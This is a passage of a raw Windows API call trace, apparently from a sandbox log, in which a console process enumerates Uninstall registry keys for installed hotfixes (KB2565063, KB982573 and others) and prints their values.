GetConsoleOutputCP () returned 0x1b5 [0151.114] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0151.115] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0151.115] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.115] GetProcessHeap () returned 0x3c0000 [0151.115] GetProcessHeap () returned 0x3c0000 [0151.115] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df290) returned 1 [0151.115] GetProcessHeap () returned 0x3c0000 [0151.115] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3df290) returned 0x18 [0151.115] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df290 | out: hHeap=0x3c0000) returned 1 [0151.115] __iob_func () returned 0x7fefd702a80 [0151.115] _fileno (_File=0x7fefd702ab0) returned 1 [0151.115] _errno () returned 0x204bb0 [0151.115] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.115] _errno () returned 0x204bb0 [0151.115] GetFileType (hFile=0x50) returned 0x1 [0151.115] lstrlenW (lpString="\n") returned 1 [0151.115] GetConsoleOutputCP () returned 0x1b5 [0151.115] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0151.115] GetConsoleOutputCP () returned 0x1b5 [0151.115] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0151.115] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0151.115] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.115] GetProcessHeap () returned 0x3c0000 [0151.115] GetProcessHeap () returned 0x3c0000 [0151.115] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0151.115] GetProcessHeap () returned 0x3c0000 [0151.115] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x2 [0151.115] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0151.115] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x29f894, lpcbMaxSubKeyLen=0x29f890, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x29f894*=0x0, lpcbMaxSubKeyLen=0x29f890, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0151.115] GetProcessHeap () returned 0x3c0000 [0151.116] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x2) returned 0x3dee90 [0151.116] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2549743") returned 131 [0151.116] GetProcessHeap () returned 0x3c0000 [0151.116] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x10a) returned 0x3e1c70 [0151.116] GetProcessHeap () returned 0x3c0000 [0151.116] GetProcessHeap () returned 0x3c0000 [0151.116] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0151.116] GetProcessHeap () returned 0x3c0000 [0151.116] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x2 [0151.116] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0151.116] GetProcessHeap () returned 0x3c0000 [0151.116] GetProcessHeap () returned 0x3c0000 [0151.116] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70) returned 1 [0151.116] GetProcessHeap () returned 0x3c0000 [0151.116] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3e1c70) returned 0x10a [0151.116] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70 | out: hHeap=0x3c0000) returned 1 [0151.116] RegCloseKey (hKey=0x5c) returned 0x0 [0151.116] RegEnumKeyExW (in: hKey=0x58, dwIndex=0x2b, lpName=0x3dbc10, lpcchName=0x29f974, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2565063", lpcchName=0x29f974, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0151.116] __iob_func () returned 0x7fefd702a80 [0151.116] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0151.116] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%s\n", _ArgList=0x29f910 | out: _Buffer="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2565063\n") returned 132 [0151.116] _fileno (_File=0x7fefd702ab0) returned 1 [0151.116] _errno () returned 0x204bb0 [0151.116] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.116] _errno () returned 0x204bb0 [0151.116] GetFileType (hFile=0x50) returned 0x1 [0151.116] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2565063\n") returned 132 [0151.116] GetConsoleOutputCP () returned 0x1b5 [0151.116] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2565063\n", cchWideChar=132, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 132 [0151.116] GetConsoleOutputCP () returned 0x1b5 [0151.116] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2565063\n", cchWideChar=132, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2565063\n", lpUsedDefaultChar=0x0) returned 132 [0151.117] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 132 [0151.117] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.117] RegOpenKeyExW (in: hKey=0x58, lpSubKey="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2565063", ulOptions=0x0, samDesired=0x20019, phkResult=0x29f978 | out: phkResult=0x29f978*=0x5c) returned 0x0 [0151.117] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x29f7e0, lpcbMaxValueNameLen=0x29f830, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x29f7e0*=0x1, lpcbMaxValueNameLen=0x29f830, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0151.117] GetProcessHeap () returned 0x3c0000 [0151.117] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x2) returned 0x3dee90 [0151.117] RegEnumValueW (in: hKey=0x5c, dwIndex=0x0, lpValueName=0x3dee90, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0151.117] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x16) returned 0x0 [0151.117] GetProcessHeap () returned 0x3c0000 [0151.117] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x18) returned 0x3df290 [0151.117] GetProcessHeap () returned 0x3c0000 [0151.117] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df290) returned 1 [0151.117] GetProcessHeap () returned 0x3c0000 [0151.117] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3df290) returned 0x18 [0151.117] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3df290, pcbData=0x29f780*=0x16 | out: pdwType=0x29f700*=0x1, pvData="KB2565063", pcbData=0x29f780*=0x14) returned 0x0 [0151.117] __iob_func () returned 0x7fefd702a80 [0151.117] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0151.117] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0151.117] _fileno (_File=0x7fefd702ab0) returned 1 [0151.117] _errno () returned 0x204bb0 [0151.117] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.117] _errno () returned 0x204bb0 [0151.117] GetFileType (hFile=0x50) returned 0x1 [0151.117] lstrlenW (lpString=" ") returned 4 [0151.117] GetConsoleOutputCP () returned 0x1b5 [0151.117] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.118] GetConsoleOutputCP () returned 0x1b5 [0151.118] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.118] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.118] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.118] lstrlenW (lpString="") returned 0 [0151.118] _memicmp (_Buf1=0x3df2b0, _Buf2=0xff571458, _Size=0x7) returned 0 [0151.118] LoadStringW (in: hInstance=0x0, uID=0x1f5, lpBuffer=0x3e1a60, cchBufferMax=256 | out: lpBuffer="(Default)") returned 0x9 [0151.118] lstrlenW (lpString="(Default)") returned 9 [0151.118] __iob_func () returned 0x7fefd702a80 [0151.118] _fileno (_File=0x7fefd702ab0) returned 1 [0151.118] _errno () returned 0x204bb0 [0151.118] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.118] _errno () returned 0x204bb0 [0151.118] GetFileType (hFile=0x50) returned 0x1 [0151.118] lstrlenW (lpString="(Default)") returned 9 [0151.118] GetConsoleOutputCP () returned 0x1b5 [0151.118] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="(Default)", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0151.118] GetConsoleOutputCP () returned 0x1b5 [0151.118] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="(Default)", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="(Default)", lpUsedDefaultChar=0x0) returned 9 [0151.118] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0151.118] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.118] __iob_func () returned 0x7fefd702a80 [0151.118] _fileno (_File=0x7fefd702ab0) returned 1 [0151.118] _errno () returned 0x204bb0 [0151.119] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.119] _errno () returned 0x204bb0 [0151.119] GetFileType (hFile=0x50) returned 0x1 [0151.119] lstrlenW (lpString=" ") returned 4 [0151.119] GetConsoleOutputCP () returned 0x1b5 [0151.119] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.119] GetConsoleOutputCP () returned 0x1b5 [0151.119] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.119] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.119] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.119] __iob_func () returned 0x7fefd702a80 [0151.119] _fileno (_File=0x7fefd702ab0) returned 1 [0151.119] _errno () returned 0x204bb0 [0151.119] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.119] _errno () returned 0x204bb0 [0151.119] GetFileType (hFile=0x50) returned 0x1 [0151.119] lstrlenW (lpString="REG_SZ") returned 6 [0151.119] GetConsoleOutputCP () returned 0x1b5 [0151.119] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0151.119] GetConsoleOutputCP () returned 0x1b5 [0151.119] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0151.119] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0151.119] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.120] __iob_func () returned 0x7fefd702a80 [0151.120] _fileno (_File=0x7fefd702ab0) returned 1 [0151.120] _errno () returned 0x204bb0 [0151.120] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.120] _errno () returned 0x204bb0 [0151.120] GetFileType (hFile=0x50) returned 0x1 [0151.120] lstrlenW (lpString=" ") returned 4 [0151.120] GetConsoleOutputCP () returned 0x1b5 [0151.120] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.120] GetConsoleOutputCP () returned 0x1b5 [0151.120] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.120] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.120] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.120] __iob_func () returned 0x7fefd702a80 [0151.120] _fileno (_File=0x7fefd702ab0) returned 1 [0151.120] _errno () returned 0x204bb0 [0151.120] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.120] _errno () returned 0x204bb0 [0151.120] GetFileType (hFile=0x50) returned 0x1 [0151.120] lstrlenW (lpString="KB2565063") returned 9 [0151.120] GetConsoleOutputCP () returned 0x1b5 [0151.120] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="KB2565063", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0151.120] GetConsoleOutputCP () returned 0x1b5 [0151.121] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="KB2565063", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KB2565063", lpUsedDefaultChar=0x0) returned 9 [0151.121] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0151.121] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.121] __iob_func () returned 0x7fefd702a80 [0151.121] _fileno (_File=0x7fefd702ab0) returned 1 [0151.121] _errno () returned 0x204bb0 [0151.121] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.121] _errno () returned 0x204bb0 [0151.121] GetFileType (hFile=0x50) returned 0x1 [0151.121] lstrlenW (lpString="\n") returned 1 [0151.121] GetConsoleOutputCP () returned 0x1b5 [0151.121] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0151.121] GetConsoleOutputCP () returned 0x1b5 [0151.121] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0151.121] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0151.121] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.121] GetProcessHeap () returned 0x3c0000 [0151.121] GetProcessHeap () returned 0x3c0000 [0151.121] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df290) returned 1 [0151.121] GetProcessHeap () returned 0x3c0000 [0151.121] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3df290) returned 0x18 [0151.121] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df290 | out: hHeap=0x3c0000) returned 1 [0151.121] __iob_func () returned 0x7fefd702a80 [0151.121] _fileno (_File=0x7fefd702ab0) returned 1 [0151.121] _errno () returned 0x204bb0 [0151.121] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.122] _errno () returned 0x204bb0 [0151.122] GetFileType (hFile=0x50) returned 0x1 [0151.122] lstrlenW (lpString="\n") returned 1 [0151.122] GetConsoleOutputCP () returned 0x1b5 [0151.122] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0151.122] GetConsoleOutputCP () returned 0x1b5 [0151.122] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0151.122] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0151.122] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.122] GetProcessHeap () returned 0x3c0000 [0151.122] GetProcessHeap () returned 0x3c0000 [0151.122] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0151.122] GetProcessHeap () returned 0x3c0000 [0151.122] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x2 [0151.122] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0151.122] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x29f894, lpcbMaxSubKeyLen=0x29f890, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x29f894*=0x0, lpcbMaxSubKeyLen=0x29f890, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0151.122] GetProcessHeap () returned 0x3c0000 [0151.122] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x2) returned 0x3dee90 [0151.122] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2565063") returned 131 [0151.122] GetProcessHeap () returned 0x3c0000 [0151.122] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x10a) returned 0x3e1c70 [0151.122] GetProcessHeap () returned 0x3c0000 [0151.122] GetProcessHeap () returned 0x3c0000 [0151.122] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0151.122] GetProcessHeap () returned 0x3c0000 [0151.122] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x2 [0151.122] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0151.122] GetProcessHeap () returned 0x3c0000 [0151.122] GetProcessHeap () returned 0x3c0000 [0151.122] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70) returned 1 [0151.122] GetProcessHeap () returned 0x3c0000 [0151.123] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3e1c70) returned 0x10a [0151.123] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70 | out: hHeap=0x3c0000) returned 1 [0151.123] RegCloseKey (hKey=0x5c) returned 0x0 [0151.123] RegEnumKeyExW (in: hKey=0x58, dwIndex=0x2c, lpName=0x3dbc10, lpcchName=0x29f974, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB982573", lpcchName=0x29f974, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0151.123] __iob_func () returned 0x7fefd702a80 [0151.123] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0151.123] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%s\n", _ArgList=0x29f910 | out: _Buffer="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB982573\n") returned 131 [0151.123] _fileno (_File=0x7fefd702ab0) returned 1 [0151.123] _errno () returned 0x204bb0 [0151.123] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.123] _errno () returned 0x204bb0 [0151.123] GetFileType (hFile=0x50) returned 0x1 [0151.123] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB982573\n") returned 131 [0151.123] GetConsoleOutputCP () returned 0x1b5 [0151.123] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB982573\n", cchWideChar=131, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 131 [0151.123] GetConsoleOutputCP () returned 0x1b5 [0151.123] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB982573\n", cchWideChar=131, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB982573\n", lpUsedDefaultChar=0x0) returned 131 [0151.123] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 131 [0151.123] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.123] RegOpenKeyExW (in: hKey=0x58, lpSubKey="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB982573", ulOptions=0x0, samDesired=0x20019, phkResult=0x29f978 | out: phkResult=0x29f978*=0x5c) returned 0x0 [0151.123] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x29f7e0, lpcbMaxValueNameLen=0x29f830, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x29f7e0*=0x1, lpcbMaxValueNameLen=0x29f830, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0151.123] GetProcessHeap () returned 0x3c0000 [0151.123] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x2) returned 0x3dee90 [0151.123] RegEnumValueW (in: hKey=0x5c, dwIndex=0x0, lpValueName=0x3dee90, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0151.124] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x14) returned 0x0 [0151.124] GetProcessHeap () returned 0x3c0000 [0151.124] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x16) returned 0x3df290 [0151.124] GetProcessHeap () returned 0x3c0000 [0151.124] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, 